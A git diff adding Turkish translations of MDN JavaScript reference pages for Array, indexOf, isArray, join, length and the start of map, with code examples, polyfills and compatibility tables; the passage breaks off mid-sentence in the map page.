non-shimable: + // Object.getOwnPropertyNames(Array).filter(function (methodName) {return typeof Array[methodName] === 'function'}); + methods = [ + 'join', 'reverse', 'sort', 'push', 'pop', 'shift', 'unshift', + 'splice', 'concat', 'slice', 'indexOf', 'lastIndexOf', + 'forEach', 'map', 'reduce', 'reduceRight', 'filter', + 'some', 'every', 'isArray' + ], + methodCount = methods.length, + assignArrayGeneric = function (methodName) { + var method = Array.prototype[methodName]; + Array[methodName] = function (arg1) { + return method.apply(arg1, Array.prototype.slice.call(arguments, 1)); + }; + }; + + for (i = 0; i < methodCount; i++) { + assignArrayGeneric(methods[i]); + } +}());</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_dizi_oluşturmak">Bir dizi oluşturmak</h3> + +<p>Aşağıdaki örnekte uzunluğu [0] olan bir dizi tanımlanıyor(<code>msgArray</code>), daha sonra <code>msgArray[0]</code> ve <code>msgArray[99]</code> indexlerine değer atanıyor ve böylece dizinin uzunluğu 100'e çıkıyor.</p> + +<pre class="brush: js notranslate">var msgArray = new Array(); +msgArray[0] = "Hello"; +msgArray[99] = "world"; + +if (msgArray.length == 100) + print("The length is 100."); +</pre> + +<h3 id="2_boyutlu_dizi_oluşturmak">2 boyutlu dizi oluşturmak</h3> + +<p>Aşağıdaki örnekte elemanları stringler olan 2 boyutlu bir diziden oluşturulmuş satranç tahtası bulunuyor. İlk hamle 'p' elemanının 6,4 indeksinden 4,4 indexine kopyalanarak yapılmış. Eski bulunduğu index olan 6,4 boş olarak işaretlenmiş.</p> + +<pre class="brush: js notranslate">var board = +[ ['R','N','B','Q','K','B','N','R'], + ['P','P','P','P','P','P','P','P'], + [' ',' ',' ',' ',' ',' ',' ',' '], + [' ',' ',' ',' ',' ',' ',' ',' '], + [' ',' ',' ',' ',' ',' ',' ',' '], + [' ',' ',' ',' ',' ',' ',' ',' '], + ['p','p','p','p','p','p','p','p'], + ['r','n','b','q','k','b','n','r']]; +print(board.join('\n') + '\n\n'); + +// Move King's Pawn forward 2 +board[4][4] = board[6][4]; +board[6][4] = ' '; +print(board.join('\n')); +</pre> + +<p>Çıktı:</p> + +<pre class="eval notranslate">R,N,B,Q,K,B,N,R +P,P,P,P,P,P,P,P + , , , , , , , + , , , , , , , + , , , , , , , + , , , , , , , +p,p,p,p,p,p,p,p +r,n,b,q,k,b,n,r + +R,N,B,Q,K,B,N,R +P,P,P,P,P,P,P,P + , , , , , , , + , , , , , , , + , , , ,p, , , + , , , , , , , +p,p,p,p, ,p,p,p +r,n,b,q,k,b,n,r +</pre> + +<h2 id="Tarayıcı_Uyumluluk_Tablosu">Tarayıcı Uyumluluk Tablosu</h2> + +<p>{{Compat("javascript.builtins.Array")}}</p> + +<h2 id="Daha_fazlası">Daha fazlası</h2> + +<ul> + <li><a href="https://github.com/plusdude/array-generics" title="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li> + <li><a href="/tr/docs/JavaScript/Guide/Working_with_Objects#Indexing_object_properties" title="JavaScript/Guide/Working_with_objects#Indexing_object_properties">"Indexing object properties" in JavaScript Guide: "Working with objects"</a></li> + <li><a href="/tr/docs/JavaScript/New_in_JavaScript/1.7#Array_comprehensions" title="New_in_JavaScript_1.7#Array_comprehensions">New in JavaScript 1.7: Array comprehensions</a></li> + <li><a href="/tr/docs/JavaScript/New_in_JavaScript/1.6#Array_extras" title="New_in_JavaScript_1.6#Array_extras">New in JavaScript 1.6: Array extras</a></li> + <li><a href="/tr/docs/JavaScript_typed_arrays" title="JavaScript_typed_arrays">Draft: Typed Arrays</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/indexof/index.html b/files/tr/web/javascript/reference/global_objects/array/indexof/index.html new file mode 100644 index 0000000000..f53a9980d7 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/indexof/index.html @@ -0,0 +1,246 @@ +--- +title: Array.prototype.indexOf() +slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf +translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf +--- +<div>{{JSRef}}</div> + +<p><code><strong>indexOf()</strong></code> metodu, argüman olarak verilen elemanın array de ilk görüldüğü index'i verir. Eğer bu eleman array de bulunmuyorsa -1 değeri döner.</p> + +<pre class="brush: js">var a = [2, 9, 9]; +a.indexOf(2); // 0 +a.indexOf(7); // -1 + +if (a.indexOf(7) === -1) { + // eleman array de bulunmamaktadır. +} +</pre> + +<h2 id="Yazım">Yazım</h2> + +<pre class="syntaxbox"><var>arr</var>.indexOf(<var>aranacakEleman</var>) +<var>arr</var>.indexOf(<var>aranacakEleman</var>, <var>aramayaBaşlanacakİndex</var>) +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><var>aranacakEleman</var></dt> + <dd>Array içerisinde aranacak elemanı karşılayacak metod parametresidir.</dd> + <dt><var>aramayaBaşlanacakİndex</var>{{optional_inline}}</dt> + <dd>Aramaya başlanacak index değerini karşılayacak metod parametresidir. Eğer index olarak gönderilmiş argümanın değeri array'in uzunluğuna eşit veya daha büyükse, metod -1 değerini döndürür, bu array'in hiç aranmayacağı anlamına gelmektedir. Eğer argümanın değeri negatif bir değerse bu durumda argüman değeri array'in sonundan offset olarak algılanacaktır. Not: eğer index argümanı negatif ise, array hala baştan sona aranacaktır. Bu durumda elemanın bulunduğu index negatif hesaplanırsa, bütün array baştan aranacaktır. Default: 0 (tüm array baştan aranacaktır).</dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Elemanın array de ilk görüldüğü index; eğer eleman bulunamazsa <strong>-1 </strong>dir.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>indexOf()</code> <var>aranacakEleman'ı </var><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">katı eşitlik</a> ilkesine göre dizi elemanları ile karşılaştırır (aynı yöntem <code>=== </code>veya üç eşittir operatörü tarafından da kullanılır<code>).</code></p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="indexOf()'u_kullanma"><code>indexOf()'u kullanma</code></h3> + +<p>Aşağıdaki örnekte <code>indexOf()</code> metodu kullanılarak, değerlerin bir dizideki konumları bulunuyor.</p> + +<pre class="brush: js">var array = [2, 9, 9]; +array.indexOf(2); // 0 +array.indexOf(7); // -1 +array.indexOf(9, 2); // 2 +array.indexOf(2, -1); // -1 +array.indexOf(2, -3); // 0 +</pre> + +<h3 id="Bir_öğenin_tüm_konumlarını_bulma">Bir öğenin tüm konumlarını bulma</h3> + +<pre class="brush: js">var indices = []; +var array = ['a', 'b', 'a', 'c', 'a', 'd']; +var element = 'a'; +var idx = array.indexOf(element); +while (idx != -1) { + indices.push(idx); + idx = array.indexOf(element, idx + 1); +} +console.log(indices); +// [0, 2, 4] +</pre> + +<h3 id="Bir_öğenin_dizide_olup_olmadığını_öğrenme_ve_diziyi_güncelleme">Bir öğenin dizide olup olmadığını öğrenme ve diziyi güncelleme</h3> + +<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) { + if (veggies.indexOf(veggie) === -1) { + veggies.push(veggie); + console.log('New veggies collection is : ' + veggies); + } else if (veggies.indexOf(veggie) > -1) { + console.log(veggie + ' already exists in the veggies collection.'); + } +} + +var veggies = ['potato', 'tomato', 'chillies', 'green-pepper']; + +updateVegetablesCollection(veggies, 'spinach'); +// New veggies collection is : potato,tomato,chillies,green-papper,spinach +updateVegetablesCollection(veggies, 'spinach'); +// spinach already exists in the veggies collection. +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>indexOf()</code> ECMA-262 standartlarına 5. sürümde eklendi; bu yüzden henüz tüm tarayıcılarda mevcut olmayabilir. Aşağıdaki kod parçasını kendi kodunuzun başına ekleyerek kullanabilirsiniz. Böylelikle <code>indexOf()</code> metodunu tarayıcı desteklemese bile kullanabilirsiniz. Aşağıdaki algoritma {{jsxref("Global_Objects/TypeError", "TypeError")}} ve {{jsxref("Math.abs()")}} öğelerinin orijinal değerlerine sahip olduğu varsayılarak ECMA-262, 5. sürümde belirtilenle eşleşir.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.14 +// Reference: http://es5.github.io/#x15.4.4.14 +if (!Array.prototype.indexOf) { + Array.prototype.indexOf = function(searchElement, fromIndex) { + + var k; + + // 1. Let o be the result of calling ToObject passing + // the this value as the argument. + if (this == null) { + throw new TypeError('"this" is null or not defined'); + } + + var o = Object(this); + + // 2. Let lenValue be the result of calling the Get + // internal method of o with the argument "length". + // 3. Let len be ToUint32(lenValue). + var len = o.length >>> 0; + + // 4. If len is 0, return -1. + if (len === 0) { + return -1; + } + + // 5. If argument fromIndex was passed let n be + // ToInteger(fromIndex); else let n be 0. + var n = fromIndex | 0; + + // 6. If n >= len, return -1. + if (n >= len) { + return -1; + } + + // 7. If n >= 0, then Let k be n. + // 8. Else, n<0, Let k be len - abs(n). + // If k is less than 0, then let k be 0. + k = Math.max(n >= 0 ? n : len - Math.abs(n), 0); + + // 9. Repeat, while k < len + while (k < len) { + // a. Let Pk be ToString(k). + // This is implicit for LHS operands of the in operator + // b. Let kPresent be the result of calling the + // HasProperty internal method of o with argument Pk. + // This step can be combined with c + // c. If kPresent is true, then + // i. Let elementK be the result of calling the Get + // internal method of o with the argument ToString(k). + // ii. Let same be the result of applying the + // Strict Equality Comparison Algorithm to + // searchElement and elementK. + // iii. If same is true, return k. + if (k in o && o[k] === searchElement) { + return k; + } + k++; + } + return -1; + }; +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.6.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.8")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.8")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<ul> + <li>Starting with Firefox 47 {{geckoRelease(47)}}, this method will no longer return <code>-0</code>. For example, <code>[0].indexOf(0, -0)</code> will now always return <code>+0</code> ({{bug(1242043)}}).</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li> + <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/isarray/index.html b/files/tr/web/javascript/reference/global_objects/array/isarray/index.html new file mode 100644 index 0000000000..aafa47718c --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/isarray/index.html @@ -0,0 +1,154 @@ +--- +title: Array.isArray() +slug: Web/JavaScript/Reference/Global_Objects/Array/isArray +tags: + - Dizi + - dizi kontrol +translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray +--- +<div>{{JSRef}}</div> + +<p><code><strong>Array.isArray()</strong></code> metodu değerin Array olup olmadığını kontrol eder. </p> + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>Kontrol edilecek nesne.</dd> +</dl> + +<h2 id="Açıklamalar">Açıklamalar</h2> + +<p>Nesne eğer {{jsxref("Array")}} ise <code>true</code> değilse <code>false </code>döndürür<code>.</code></p> + +<p>Daha fazla detay için makaleye göz atın: <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> </p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">// Aşağıdaki tüm örnekler true döndürür +Array.isArray([]); +Array.isArray([1]); +Array.isArray(new Array()); +// Az bilinen gerçek: Array.prototype bir dizinin kendisidir: +Array.isArray(Array.prototype); + +// Aşağıdaki tüm örnekler false döndürür +Array.isArray(); +Array.isArray({}); +Array.isArray(null); +Array.isArray(undefined); +Array.isArray(17); +Array.isArray('Array'); +Array.isArray(true); +Array.isArray(false); +Array.isArray({ __proto__: Array.prototype }); +</pre> + +<h2 id="Kod_Parçası">Kod Parçası</h2> + +<p>Aşağıdaki kod, diğer kodlardan önce çalıştırılırsa; doğal olarak var olmaması durumunda Array.isArray() 'i oluşturacaktır.</p> + +<pre class="brush: js">if (!Array.isArray) { + Array.isArray = function(arg) { + return Object.prototype.toString.call(arg) === '[object Array]'; + }; +} +</pre> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanımlama</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>İlk tanım. JavaScript 1.8.5 sürümünde uygulamaya koyuldu.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<h2 id="CompatibilityTable"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{CompatibilityTable}}</span></h2> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>{{CompatChrome("5")}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOpera("10.5")}}</td> + <td>{{CompatSafari("5")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td> + <table class="compat-table"> + <tbody> + <tr> + <td>Temel Destek</td> + <td> </td> + </tr> + </tbody> + </table> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/join/index.html b/files/tr/web/javascript/reference/global_objects/array/join/index.html new file mode 100644 index 0000000000..37d876dc97 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/join/index.html @@ -0,0 +1,107 @@ +--- +title: Array.prototype.join() +slug: Web/JavaScript/Reference/Global_Objects/Array/join +translation_of: Web/JavaScript/Reference/Global_Objects/Array/join +--- +<div>{{JSRef}}</div> + +<p><span class="seoSummary"><code><strong>join()</strong></code> metodu bir array içerisinde yer alan bütün elemanları birleştirerek string bir ifade olarak geri döndürür. (veya <a href="/en-US/docs//en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array benzeri bir obje</a> olarak) Elemanlar varsayılan olarak virgül ile ayıracı ile ayrılır. İsteğe bağlı olarak elementleri birbirinden ayırmak için farklı ayıraçlar da kullanılabilir.</span></p> + +<div>{{EmbedInteractiveExample("pages/js/array-join.html")}}</div> + + + +<h2 id="Sözdizimi_(Syntax)">Sözdizimi (Syntax)</h2> + +<pre class="syntaxbox"><var>arr</var>.join([<var>separator</var>])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>ayıraç</code> {{optional_inline}}</dt> + <dd>Bir diziye (array) ait elemanları birleştirerek string bir ifade haline getiir. Dizi içinde yer alan elamanları birbirine bağlarken istediğiniz ifadeyi ayıraç olarak kullanabilirsiniz. Eğer ayıraç kullanılmaz ise varsayılan ayıraç olarak virgül kullanılır. Eğer ayıraç olarak boş ifade ("") kullanılırsa, bütün dizinin bütün elemanları birbirine bitişik olacak şekilde dönüştürülür.</dd> +</dl> + +<p>String ifade oluşturulurken dizi (array) içerisinde yer alan bütün elemanlar kullanılır. Eğer array içerisinde eleman yok ise (array.length değeri sıfıra eşit ise) join metodu boş string ("") döndürür.</p> + +<h2 id="Açıklamalar">Açıklamalar</h2> + +<p>Dizi (array) içerisinde yer alan bütün elemanları tek bir ifade (string) haline getirir.</p> + +<p> </p> + +<div class="warning"> +<p>Eğer dizi içerisinde yer alan elemanlardan birinin değeri <code>undefined</code> veya <code>null</code> ise, o eleman boş ifadeye ("") dönüştürülür.</p> +</div> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_arrayi_birleştirmenin_dört_farklı_yolu">Bir arrayi birleştirmenin dört farklı yolu</h3> + +<p>Aşağıda yer alan örnekte örnekte üç elemandan oluşan <strong>a</strong> dizisi oluşturup, farklı ayıraçlar kullanarak dört defa birleştirdik. İlk örnekte hiç bir ayıraç kullanmadık, ikinci örnekte virgül ve boşluk, üçüncü örnekte boşluk ve + işareti, son örnekte ise boş ifade (string) değeri kullandık</p> + +<pre class="brush: js">var a = ['Rüzgar', 'Yağmur', 'Ateş']; +a.join(); // 'Rüzgar,Yağmur,Ateş' +a.join(', '); // 'Rüzgar, Yağmur, Ateş' +a.join(' + '); // 'Rüzgar + Yağmur + Ateş' +a.join(''); // 'RüzgarYağmurAteş'</pre> + +<h3 id="Array_benzeri_obje_nasıl_birleştirlir">Array benzeri obje nasıl birleştirlir ?</h3> + +<p>Aşağıda yer alan örnekte array benzeri obje olarak bilinen (<code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">a</a>rgümanlar</code>), yapıyı <code>Array.prototype.join</code> üzerinden call {{jsxref("Function.prototype.call")}} metodu kullanarak birleştireceğiz. </p> + +<pre class="brush: js">function f(a, b, c) { + var s = Array.prototype.join.call(arguments); + console.log(s); // '<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">1,a,true'</span></span></span></span> +} +f(1, 'a', true); +//expected output: "1,a,true" +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.1.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div class="hidden">Uyumluluk tablosu yapılandırılmış verilerden oluşmaktadır. Eğer bu verilere katkıda bulunmak isterseniz <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> linkinde yer alan repository'i açın ve bize pull request gönderin.</div> + +<p>{{Compat("javascript.builtins.Array.join")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("String.prototype.split()")}}</li> + <li>{{jsxref("Array.prototype.toString()")}}</li> + <li>{{jsxref("TypedArray.prototype.join()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/length/index.html b/files/tr/web/javascript/reference/global_objects/array/length/index.html new file mode 100644 index 0000000000..b0ff9d264b --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/length/index.html @@ -0,0 +1,145 @@ +--- +title: Array.length +slug: Web/JavaScript/Reference/Global_Objects/Array/length +tags: + - Dizi + - dizi uzunluğu + - uzunluk +translation_of: Web/JavaScript/Reference/Global_Objects/Array/length +--- +<div>{{JSRef}}</div> + +<div>Dizinin <code><strong>length</strong></code> özelliği -yani uzunluğu-, bir dizideki öğe sayısını döndürür veya ayarlar. 32-bit işaretsiz bir tam sayı (integer) ile ifade edilir, sayısal değeri her zaman dizinin en yüksek değerli index'inden büyüktür.</div> + +<div> </div> + +<pre class="brush: js">var elemanlar = ["ayakkabılar", "gömlekler", "çoraplar", "kazaklar"]; +elemanlar.length; + +// 4 döndürür</pre> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Uzunluk(length) özellik değeri, artı işaretli bir tam sayıdır ve değeri 2'nin 32. kuvvetinden küçüktür (2<sup>32</sup>).</p> + +<p><code>Uzunluk(length)</code> özellik değerini ayarlayarak bir diziyi istenen bir zamanda budayabilirsiniz. Bir diziyi <code>length</code> özelliğini ayarlayarak genişletirseniz, asıl öğe sayısı artmayacaktır; örneğin, uzunluğu 2 olan dizinin uzunluğunu 3 olarak ayarlarsanız, dizide hala 2 eleman olacaktır. Bu durumda, <code>length</code> özelliğinin her zaman dizideki tanımlı öğe sayısını göstermesi şart değildir. Ayrıca bkz. <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Reference/Global_Objects/Array#Bir_diziyi_eşleşen_bir_sonuç_ile_oluşturmak" rel="internal">Bir diziyi eşleşen bir sonuç ile oluşturmak</a>.</p> + +<p>{{js_property_attributes(1, 0, 0)}}</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_dizi_üzerinde_gezinim">Bir dizi üzerinde gezinim</h3> + +<p>Aşağıdaki örnekte, <code>numaralar</code> dizisinde, <code>length</code> özelliği kullanılarak gezinim yapılıyor. Her öğe değeri ikiye katlanıyor.</p> + +<pre class="brush: js">var numaralar = [1, 2, 3, 4, 5]; +var uzunluk = numaralar.length; +for (var i = 0; i < uzunluk; i++) { + numaralar[i] *= 2; +} +// numaralar şimdi [2, 4, 6, 8, 10] şeklindedir +</pre> + +<h3 id="Bir_diziyi_kısaltmak">Bir diziyi kısaltmak</h3> + +<p>Aşağıdaki örnekte <code>numaralar</code> dizi uzunluğu 3'ten büyükse, dizi kısaltılıyor.</p> + +<pre class="brush: js">var numaralar = [1, 2, 3, 4, 5]; + +if (numaralar.length > 3) { + numaralar.length = 3; +} + +console.log(numaralar); // [1, 2, 3] +console.log(numaralar.length); // 3 +</pre> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanımlama</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/map/index.html b/files/tr/web/javascript/reference/global_objects/array/map/index.html new file mode 100644 index 0000000000..0c8d66f4de --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/map/index.html @@ -0,0 +1,307 @@ +--- +title: Array.prototype.map() +slug: Web/JavaScript/Reference/Global_Objects/Array/map +translation_of: Web/JavaScript/Reference/Global_Objects/Array/map +--- +<div>{{JSRef}}</div> + +<p><code><strong>map()</strong></code> , dizinin her elemanı için, parametre olarak verilen fonksiyonu çağırır ve oluşan sonuçlarla da yeni bir dizi oluşturur.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div> + + + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox"><var>var new_array = arr</var>.map(function <var>callback(currentValue[, index[, array]]) { + // Return element for new_array +}</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Yeni oluşan dizinin elemanlarını döndürdüğü değerlerle oluşturur, üç parametre alır: + <dl> + <dt> </dt> + <dt><code>currentValue</code></dt> + <dd>Dizinin o anda işlem yapılan elemanı.</dd> + <dt><code>index</code>{{optional_inline}}</dt> + <dd>Dizinin o anda işlem yapılan elemanının indeksi.</dd> + <dt><code>array</code>{{optional_inline}}</dt> + <dd><code>map</code> tarafından çağırılan dizi.</dd> + </dl> + </dd> + <dt><code>thisArg</code>{{optional_inline}}</dt> + <dd><code>callback</code> fonsiyonu çalışırken kullanacağı <code>this</code> değeri.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>Elemanları, <code>callback</code> fonksiyonunun sonuçları olan yeni bir dizi.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>map</code>, kendisine özel tahsis edilmiş geri çağırma (<code>callback</code>) fonksiyonunu çağırarak, sıraya uygun olarak <strong>döngüye </strong><strong>giren</strong><strong> her </strong><strong>eleman</strong> için sonuçtan yeni bir dizi(array) inşa eder. <code>callback</code> sadece değere tanımlanmış dizinin indeksleri için tetiklenir, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a> de buna dahildir. Dizinin kayıp elemanları için çağrılmaz ( <strong>kayıp </strong><strong>elemanlar</strong>: silinmiş veya hiçbir değere eşitlenmemiş veya oluşmamış indeksleri ifade eder. )</p> + +<p><code>callback</code> şu üç argüman ile tetiklenir; Elemanın değeri, elemanın indeks numarası ve elemanları gezilecek olan dizi objesi...</p> + +<pre class="syntaxbox">dizi.map( (deger, index) => /* yapılacak işlem */ ) </pre> + +<p>If a <code>thisArg</code> parameter is provided to <code>map</code>, it will be used as callback's <code>this</code> value. Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> + +<p><code>map</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p> + +<p>The range of elements processed by <code>map</code> is set before the first invocation of <code>callback</code>. Elements which are appended to the array after the call to <code>map</code> begins will not be 